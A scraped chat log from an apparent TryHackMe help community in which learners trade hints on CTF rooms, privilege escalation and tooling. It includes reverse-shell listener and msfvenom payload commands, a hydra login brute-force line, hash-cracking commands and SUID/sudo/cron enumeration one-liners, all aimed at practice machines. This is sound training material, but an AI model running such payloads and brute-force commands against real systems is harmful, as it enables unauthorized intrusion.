#

Just took me some many attempts to realize that :)

forest robin
#

ya looks that way, hehe LOT of trial and error fuzzing to find a filename like that

#

maybe if you examined the source and determined the method they use to randomize, you could probably narrow the possibilites to something more manageable

#

might even be 'predictable' based on how they implemented things

white salmon
#

@forest robin wrong. Giving up on this one :)

forest robin
#

lol, try crack the hash with fuzzing instead of a wordilst?

white salmon
forest robin
#

when you make a hash of a file, it uses the file contents not the file name

white salmon
#

I did. Made a "wordlist.txt" and wrote "test.txt" in it

#

test.txt is the name of the file I uploaded

forest robin
#

hrm..yeah echo "test.txt" | md5sum and nano test.txt (put string "test.txt" inside) then md5sum test.txt yields the same results

#

but that 'hash' from above is of your attachment which contains a reverse shell

#

so...to 'crack' it i would imagine you need to someone put the entire contents of the attachment in a wordlist? lol not sure how this would work

white salmon
#

Why? Doesn't the server just hash the filename into this? I would by now think like you it's a random name, but hashid claimes it's a hash.

forest robin
#

take a look at the squirrelmail source to see what its doing?

white salmon
#

@forest robin I think by now I should have done this already.

#

Just downloaded it

forest robin
#

as far as the server hashing the filename (the attachment) its more likely the contents of the file (attachment) is what is being hashed not the string that is the filename

white salmon
#

I don't know how much I gain from this. When was the last time you saw Squirrelmail around? I just heard of it thanks to this room :-/

forest robin
#

so if you put had an attachment called test.txt that contained the string test.txt...then had another email with another attachement called test.txt and this one contained a php rev shell. The hashes would be different even though the filenames are the same...due to the difference in content

white salmon
#

But I am sure Gmail works similar :))

forest robin
#

but! whatever squirrelmail is doing, other web based mail things could also be doing it like that?

white salmon
#

Well, I downloaded a few web email clients that are open-source. So, hopefully I can compare.

#

BTW, rooting this room was a fun thing. I couldn't get it tho myself.. I looked a bit around. I found the cronjob but didn't know what to do with that.

forest robin
#

it was a tar * thing right?

white salmon
#

Afterwards, I saw in GTFObins related stuff

forest robin
#

ya when i got to that point and gtfobins as no help i googled:

white salmon
#

Yeah, that wildcare thing

#

But then in GTFObins in tar under sudo I found the same idea, but at the beginning didn't know how to apply that...

forest robin
#

covers a few wildcard (*) exploits, but the tar exploit there worked for me

white salmon
#

btw, how do you increase the number of lines to scroll in tmux? @forest robin I have a limit of 1900 or something

#

I changed it in the terminal settings but in tmux it did not change

forest robin
#

in ~/.tmux.conf (which may not exist)

#

put this: set -g history-limit 10000

#

change that 10000 to whatever scrollback you want

white salmon
#

now, how to you quit pspy64 without losing the shell?

forest robin
#

i also put this line: set -g allow-rename off

#

so tmux doesnt rename panes

#

i also remapped the default from ctrl+b to ctrl+o

#

as ctrl+b is among some other keyboard shortcuts for moving the cursor around in the terminal

#

ctrl+b to go back a char, ctrl+f to go forward a char, ctrl+a, ctrl+e to go beginning / end respectivly

#

alt+f, alt+b to go forward / back by word

#

alt+d to delete word

#

if you know emacs these are all emacs shorcuts

#

and they seem to work in all linux

white salmon
#

does this work in a nc shell? can't move around with my cursor at all

forest robin
#

nc shell those shorctuts will not work

#

in tmux ctrl+[ to start the 'editor' ? mode has a little yellow box in the upper right corner, then you can navigate around using emacs shortcuts

white salmon
#

And is there a way of aborting pspy64 without losing the shell?!

forest robin
#

copy / paste from that without using mouse

#

you dont upgrade your shell with that whole python -c import 'pty.spawn("/bin/bash")' ctrl+z, some other stuff to do

#

if you do that, then ctrl+c and ctrl+l etc work fine

#

isntead of killing the reverse shell

#

also try something called rlwrap

#

rlwrap nc -lvnp 4444, creates a more stable netcat, and things like up arrow to scroll through command history work

white salmon
#

One sec, if a upgrade my shell, CTRL+C does not work for me, it kills my shell

white salmon
#

Sometimes the shell is telling me that "THEMES" or something not installed. Don't remember what. Occurs when running "clear"

forest robin
#

probably something related to a config on the server

Hi all, I'm on overpass2, the last question(root flag) and am stuck. I read the hint and have looked through the pcap and the machine under james, but am missing the root back door. Any hints?

fleet swan
#

So I got it, but what does the ||-p|| flag do at ||./.suid_bash -p||, I ended up having to go to a walkthrough to get the -p and can't find what it means.

dark kettle
#

maybe opens shell as root

fleet swan
#

What man pages would I find that flag in?

#

I executed the || ./.suid_bash ||, but whoami was still james, only adding that -p allowed popped me into root

#

And I don't understand why.

Hi! I stuck at the task 6 question 1 in phising emails 1. Can I get a hint?

white salmon
#

Yo @nocturne wyvern you on task26?

nocturne wyvern
#

Yeeees!

#

Hi, in this challenge, https://tryhackme.com/room/owasptop10
In TASK 26, why do i have to run the python code to get the base64 of the reverse shell with python pickle ? Why cant i just create a bash reverse shell and turn that to base64 ?

#

Thats my question

#

@white salmon

white salmon
#

Have you read the information provided properly? I want you to read it again and if you've got any confusion then you can hit me up later in the DMs

#

@nocturne wyvern

#

There is a reason for the exploit to be encoded

nocturne wyvern
#

No that's fine

#

Its there in the instructions + the server stores it in encoded so reads it after decoding (executes it after decoding)

#

That i understood

#

But like why use python and all that

#

There has to be some specific reason to use python to get the payload

white salmon
#

Oh I got it

nocturne wyvern
#

Woah please tell me

stuck fractal
#

It needs to be a python object

nocturne wyvern
#

The string needs to be a python object ?

stuck fractal
#

Read up about the pickle library and when it's dangerous. There would be no reason for it to run bash code.

nocturne wyvern
#

So the server is expecting an object

#

Yes exactly

#

Ok i will read

stuck fractal
#

That python object has a method defined which you put your payload in.

white salmon
#

The cookie is retrieved and deserialized via pickle.loads as you can see the code is written in Python that means the server is also written in Python the validation and all that so to exploit this Python is used.

nocturne wyvern
#

But in the python code, they are using bash to generate the reverse shell

#

:(

#

So i thought i might as well do that

white salmon
#

The code was imported from sys library of python

nocturne wyvern
stuck fractal
nocturne wyvern
#

But if im not told, would it still be possible to guess what the cookie represented ?

white salmon
#

We are using system commands to spawn a shell via python with the help of sys library

nocturne wyvern
stuck fractal
nocturne wyvern
#

Alright thats it

#

Thanks

#

And i'll do some reading tomorrow

#

Hope i understand it fully

Start at a room/module aimed at your skill level is the best advice available in this circumstance. @graceful depot

AoC3 was good at showing how to use a tool before asking you to use it.
Since I've started doing the normal rooms there's a lot more "Google it".

But with guidance on what you're looking for from Google, which is as useful as knowing the concepts, but not the tools honestly. So works well for people who want to understand what they're doing.

#

Can someone tell me why my reverse shell from the crontab connected but I cant do any commands?

#

Tryed it again and it worked for some reason

obtuse brook
#

Hmm, interesting, connection received, but it doesn't appear to be presenting a shell.
What command/attack script are you using to open the rsh?

#

LOL fair.

#

I'm having a heck of a time with meterpreter right now. Looks like your shelless nc receive every time -_-;'

nocturne stag
#

worked lol

#

THM struggle is real but when it works its the best.

#

I use the attack box but gonna try open vpn soon

#

I hear its better

obtuse brook
#

I tried to switch to the attackbox because my VPN box is where I'm having trouble, and I couldn't get the attackbox to load x'D

#

I wonder if AoC3 just has the usership spiked enough that we're exceeding expected resources.

#

Someone tried to give me a 1month subscription code, but it didn't work.

nocturne stag
#

Firewall blocking?

#

THM is the best $10 I spent in years.

obtuse brook
#

Yeah, I'm definitely going to subscribe.

#

They deserve the support.

#

Just wanted to get some of the low hanging fruit out of the way.

#

So here I am fighting with Blue.

nocturne stag
#

I done DVWA app and few other courses but the walk through and explaining things is great on THM and the content is recent.

obtuse brook
#

I've got all the flags, but I can't do the darn hash crack because I can't get meterpreter running.

nocturne stag
#

try another hasher?

obtuse brook
#

Thinking about it. If I can't do it the way the room wants, I'll have to figure out how to push mimikatz to the box.

nocturne stag
#

Can always revisit a room later on and try again.

@white salmon Well, I seem to have a problem with getting nc to hear the request. I changed the script to both php5 and phtml, uploaded it to the panel, execute it form the uploads page, but I get an error failed to deamonnize etc. on the attackbox it stays as listening on the port. Tried switching ports on both the AB and in the scirpt..but to no avial.

#

WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111) tryhackme

white salmon
unique oyster
#

yes sir.

white salmon
unique oyster
#

changed both the IP and the port...changed the port several times

white salmon
#

Even tho I am using a VM and not the AB.

unique oyster
#

principal is the same I'm sure

white salmon
#

@unique oyster Should be. Let me try.

#

Did you launch the shell by visiting /uploads/yourfiles.name?

unique oyster
#

yup, thats the one I used as well. I first changed the php to php5 and uploaded successfully (after changing IP and port) then changed it to phtml. Visited uploads and clicked on myfile..then I get that error. Not sure what I am doing wrong..spent so much time on it that my box terminated. LOL

white salmon
#

And the nc listener is running before you clicked the reverse-shell file?

unique oyster
#

OK. I appreciate the assistance. I will have to try later today...gotta get ready to go to work. Yeah, had the nc listening before executing the code

white salmon
#

@unique oyster OK. Have a good one.

why is it?

cedar anvil

crontab is an application you have to provide some option

forest robin
#

@urban geyser try: find / -name "*.xml" -type f

rancid estuary

but why it blocks when u dont pass an option

it just waits expecting some option, I guess, that you didn't provide

Could someone give a hint on how to get the root.txt in ccpentesting final exam?

#

I'm currently SSHed into a user account

so i'm assuming I need to escalate privileges

3/4 of the links they provided for linux privileges escalation in previous tasks are scripts and there's no internet access on the box

I'm about to read through the 4th one now

forest robin
#

havent done that one yet, but:
find -type f -perm -u=s 2>/dev/null && sudo -l && cat /etc/crontab good place to start looking for privesc

static gust
#

a problem for tmrw, im gonna go rest now πŸ˜‚

#

i cheated πŸ˜”

#

looked at a writeup, turns out it was something i overlooked earlier when i saw it in a file lol

forest robin
#

@static gust find <where> flags
so the above command will find /=root directory -type f = only files, -perm -u=s = only suid files, 2>/dev/null redirect errors to dev null

sturdy hearth
# static gust What does that do? it listed a few files for me
# list files with SETUID bit set
# https://gtfobins.github.io/#+suid
find / -type f -perm -u=s 2>/dev/null

# check if you are allowed to run a command as `root` or any other user
# see how `sudoers` file/configuration works
sudo -l

# list cron jobs
# globally configured, there are `/etc/cron.*` directories as well
cat /etc/crontab
# for current user
crontab -l
forest robin
#

those 3 commands i always do when getting a shell on a box, can sometimes privesc without having to do linpeas or other enumerations

#

i also like to do cd /home && find . -readable (it will show me any readable files recursivly from /home)

static gust
#

Ah I see, thanks

static gust
#

i ran ls -a and saw a file called .bash_history

#

in it was was three commands, one being sudo su

#

but i ignored it

candid token
#

u cant ignore sudo su πŸ˜‚

static gust
#

if you check sudo -l it shows that you can run su without password

static gust
forest robin
#

why lol, that is probably the privesc

static gust
#

yeah it was, i later found out when i checked a write up

candid token
#

sudo -l

#

sometimes /etc/passwd and perm with suid bit set and gtfo bins are the ways usually in these challanges

static gust
#

i tried checking /etc/passwd and /etc/shadow but had no perms πŸ˜”

candid token
#

in passwd you sometimes have luck and stored hashes πŸ˜„

static gust
#

Yeah I thought maybe it wanted me to try crack them

#

but thats how i got access to the user acc in the first place

candid token
#

in crontab orsome other indirect read of etc shadow and then crack hashes or just add your own root user is easier then cracking the hashes

static gust
#

/ccpentesting

candid token
#

so you logged in as nyan ?

#

i have poor notes on that one, but it was very fun i neeed to do it again someday

#

but run the linpeas it will help

forest robin
#

but you already know the privesc path? sudo su without a password or did i misunderstand you?

I'm stuck on one of the learning rooms. I'm doing question "[Severity 8] Insecure Deserialization" in https://tryhackme.com/room/owasptop10, but I have no clue whatsoever where I should find the name.

opal remnant
#

Ah, task 21 "[Severity 8] Insecure Deserialization"

#

I think I'm overthinking it.

junior wave
opal remnant
#

would that be it? It says "The tomcat application", so I'm assuming that the box you can deploy is a tomcat application.

#

I can try that. Hold on.

junior wave
#

This is a research question

opal remnant
#

The question is formulated weirdly, and there is a box.

junior wave
#

I assume that's for the tasks below

#

Just search "who developed the tomcat application" and your answers will be in bold on the top of your page

opal remnant
#

Yeah I guess I shouldnt have assumed that it wasnt that simple.

My bad )

Yeah I already know the answer now, just didnt figure it would that.

Hmm okay and did you do a dirbuster scan?

#

i tried gobuster

using dirbuster/directory-list-1.0.txt word list

#

found ||/assets||

inland cargo
#

And what extensions were you looking for?

static gust
#

oh i was only checking directories with that command, i also tried using /dirb/common.txt for .pub files

inland cargo
#

I normally add html,txt,php if it's running php.

static gust
#

hmm I'll try those and let you know if i find anything

#

ah found something

#

thank you

#

found a ||login.php|| i'll try this on my own

#

@inland cargo oh one more thing, is there a way to load rockyou into burpsuite without it crashing lol

#

or maybe i should try hydra, iirc it can do post requests too

inland cargo
#

Ye I don't use burp for bruteforcing

#

Also you want to look for files too, just not dirs cPES_Wink

static gust
#

i tried for .pub cause i saw ssh required a public key

#

but i didnt think about php and other files

#

@inland cargo Could you let me know if the following syntax is correct?
I'd rather not wait 78 hours of bruteforcing with rockyou to find out πŸ˜‚
||hydra -l $USERNAME -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php/:username=^USER^&password=^PASS^&sub=Login:S=Incorrect"||

Have you tried nikto?

no

7+ minutes in

#

not sure exactly how long its been

#

15 mins*

#

tried 185k passes so far

static gust
inland cargo
#

Bruteforcing is not that path forward

static gust
#

is it simply nikto -host [ip] ?

#

or do i need other options

inland cargo
#

Yup

static gust
#

okay, running rn

#

still running hydra for now just in case, i'll stop it at 20 mins or smth

#

might try sqlmap next on the login page

#

nikto didnt seem to find anything new

#

sqlmap didnt find anything either

#

simply did sqlmap -u [ip] --forms

#

think i might just give up on this one and go for an easier one, probably toolsrus

#

and come back to it when im more experienced

inland cargo
static gust
#

extensions to where?

#

gobuster?

inland cargo
#

Yup

static gust
#

i found a login page with it

#

already have the username

#

just no pass

inland cargo
#

You still need a pass, you tried bruteforcing but that's not the way

static gust
#

seems so

inland cargo
#

So let's enumerate some more

#

Show me your gobuster command

#

gobuster dir -u ip -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

#

I use rockyou and as the hint says, the pass is in there

#

question is why john fools me that he cracked it

#
john --wordlist=/usr/share/wordlists/rockyou.txt --format=LM jon_hash
cedar anvil
#

try cracking just the hashes without the colons and all that

#

like aad3b435b51404eeaad3b435b51404ee

#

btw - afair john had no such issues before with that format

#

like here

cedar anvil
#

I meant crack individual hashes

#

not combined with :

#

anywho ||hashcat -m 1000 -a 0 ffb43f0de35be4d9917ac0cc8ad57f8d rockyou.txt|| should do the trick

compact surge
#

frankly, I prefer hashcat over john, but I'm on vm at work so no hashcat here

cedar anvil
#

oic

#

ntlm hashes are usually easy to crack

compact surge
#

yup. I did full upgrade last time so maybe it broke john somehow

#

thanks anyway

#

I'll keep digging

cedar anvil
#

the password might be empty?

compact surge
#

that's exactly what give me my john

#

however, this seems not to be the right answer

cedar anvil
compact surge
#

no way

#

i tried CS

what have you tried????

Or what don't you understand about it

dark owl
junior wave
#

Think of it as in the English language

#

There are sentences(commands) which communicate your ideas

#

And then there are symbols like , or ; which can joint those different sentences (operators)

#

For example I could say I walked, then I ran

#

Which would be the code equivalent of echo 'hello' > Textfile.txt

I had problems realizing what openvpn does as well, at the core when you start a room it will let you visit the IP on your active machine and do the task from there

#

And then you would use your own computer to do the task rather than open up an attack box each time

left thunder

#

ssh cactus@10.10.144.69

left thunder
# rain river ssh cactus@10.10.144.69

Ok, then you are not specifying the key file in your command. To do that you have to use -i id_rsa in your command, if the id_rsa is in the same directory where you run the command from

#

If the id_rsa is not in the same directory you have to specify the path to the file like -i /home/tryhackme/id_rsa for example

Ahh, nice. It worked now. Was a bit confused because it's not mentioned in the Writeup. Thank you so much !

Are you on the attackbox or your own machine ?

Can you open 10.10.10.10 in your machines browser ?

#

If you check ip a s do you only see a tun0 interface or any extra like tun1, tun2 etc ?

#

Did you ever receive a rev shell on your machine ?

#

I mean, maybe you always used the attackbox and that's the first time you use your local machine as attacking machine and therefore never catched a rev shell on your local machine previously ?

#

Mh, maybe check your uploaded rev shell IP and port if they match your tun0 IP and listening port

I was able to spot the NFS exploit without a writeup though (with linpeas.sh) so I'm kinda happy about that, but I don't know much about active directory yet. So I'm going to focus on that now.

Well, linpeas.sh gave this in it's output:

-rw-r--r--. 1 root root 54 Nov 18  2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)```

It's also very possible I'm confused as to what NFS and active directories are. But that's what I thought
#

Oh shit you're the guy from Overpass that keeps forgetting his password πŸ˜„

Excellent rooms, I've learned alot from them already

Active Directory is a lot of SMB, no NFS

Room hint for Pickle Rick, do I need to bypass/exploit login on http://[MACHINE_IP/login.php]

The box "PATH" in this room uses a compiled program called "test" that comes already on the box and doesn't say anything about the creation or a download link. In fact it's preset to run a file named "thm" that they want user to create. In order for this to be a viable method of privEsc, I was wondering if anyone knew more about where this program came from (like a site gtfobins) or does it just have to be coded as a "as needed". https://tryhackme.com/room/linprivesc#

#

I scp'd the file but I'm wondering if I'd actually be able to use it or not. To be 100% honest I struggled comprehending this room.. I think I got the overall gyst of things. but not sure why this program was needed..

white salmon
mental pine
#

so in a real scenerio i would look for a suid binary such as base64 or something ??

white salmon
#

In a more realistic scenario, you would look for a file that has those permissions.

#

Exactly.

mental pine
#

ok.. makes sense.. but why wouldnt i just exploit that instead of going through all the mess of adding a $PATH variable?

white salmon
#

If you want to learn more about path exploit, there is great room for that. It's a walkthrough room. Very well documented.

mental pine
#

cool.. Ill check it.. Thanks

white salmon
#

So you can create a fake program with an identical name that runs a shell, and since the SUID is going to run that fake program as root, you get a root shell.

#

But whatever I am going to tell you here, is worthless compared to that room I suggested to you :)

mental pine
#

lol.. well i already now understand the point of that binary thanks to you so the room must be SWEET!! lol

#

.. Thanks again

does anyone know how to properly pull a hash from rubeus into hashcat? I feel like an idiot because I can't get hashcat to recognize the hash and I know it's an issue with formatting. What's the best practice for this?

New to this stuff...will keep it short. Working on Network Services Enumerating Telnet. When I do a nmap scan (nmap [IP]) I'm seeing ports opened between 1-1000 and apparently I'm not supposed to in this room. It's the one where telnet is assigned to non-standard 8012. When am I doing wrong? I've used different switches but open ports are open ports.

22 open ssh
80 open http
111 open rpcbind
and 3 more

umbral umbra

What's the nmap command you ran?

pulsar stream
# umbral umbra What's the nmap command you ran?

I've used:
Per directions started with: nmap -A -p- [IP]
Tried:: nmap [IP}
Did some looking and found out the port is (non-standard telnet 8012), went back to try: nmap -p 8000-8050 [IP] and didn't show that port.

I've tried resetting the attackbox also thinking something might be wrong but I get the same results. From what I see I'm showing ports open that shouldn't be and can't find the one that should be.

I've moved on to the FTP portion of that room and oddly enough I don't show FTP port 21 open either. Can't complete the room without these working. Not sure what I'm missing here. πŸ˜•

I think I figured it out. Looks like I have to close and open the Attachbox in each section (SMB, Telnet, FTP) in the Network Services room. I thought I could just use the same machine. It's working now. Thanks!

The task implied that you would need to get the flag to answer the question, but the question doesn't actually prompt for input. Otherwise I'd still be banging my head against the kill chain.

Right. I guess what I'm struggling with is associating the 14 MITRE tactics to the 7 parts of the kill chain. (ie Weaponization(LMCKC) = Execution, Persistence & Priv Esc (MITRE). Some of the tactics/techniques could easily fall into multiple kill chain categories. And it looks like the kill chain answers are single words, which the TTPs are not always. Trial and error is fine, but for something that is more data model driven, I'd hope for something with less subjective interpretation.

not single word answers

Could you show a screenshot of that? As usually msfvenom should work just fine, except you altered the PATH variable

I am probably just missing something

i have tried several paths and searched the system for reverse_netcat with 0 results

tack "export PATH=/usr/local/bin:$PATH" to the end?

Or run msfvenom with the absolute path. That should work too.

left thunder
# grave warren could you explain what was going on so i can help myself next time

Whenever you run a command, like msfvenom, ls, cat or whatever, it's going to check all the directorys that are in the PATH variable to see if the binary for that command is there. So as msfvenom's binary is located in /usr/local/bin that path has to be in the PATH variable in order to be found. As Gamer mentioned, you could have also just run it with the absolute path, like /usr/local/bin/msfvenom

versed leaf
#

Without the leading period, right? Cause that'll search in your current directory.

grave warren
#

so, I did that with the absolute path, maybe I spelled wrong but it didnt find anything there, going there now in the file system it isnt there either, Me = very confused

versed leaf
left thunder
grave warren
#

ok I understand now, I found the command in there, so it would look like this? "/usr/local/bin/msfvenom -p cmd/unix/reverse_netcat lhost=10.10.207.123 lport=4444 R"
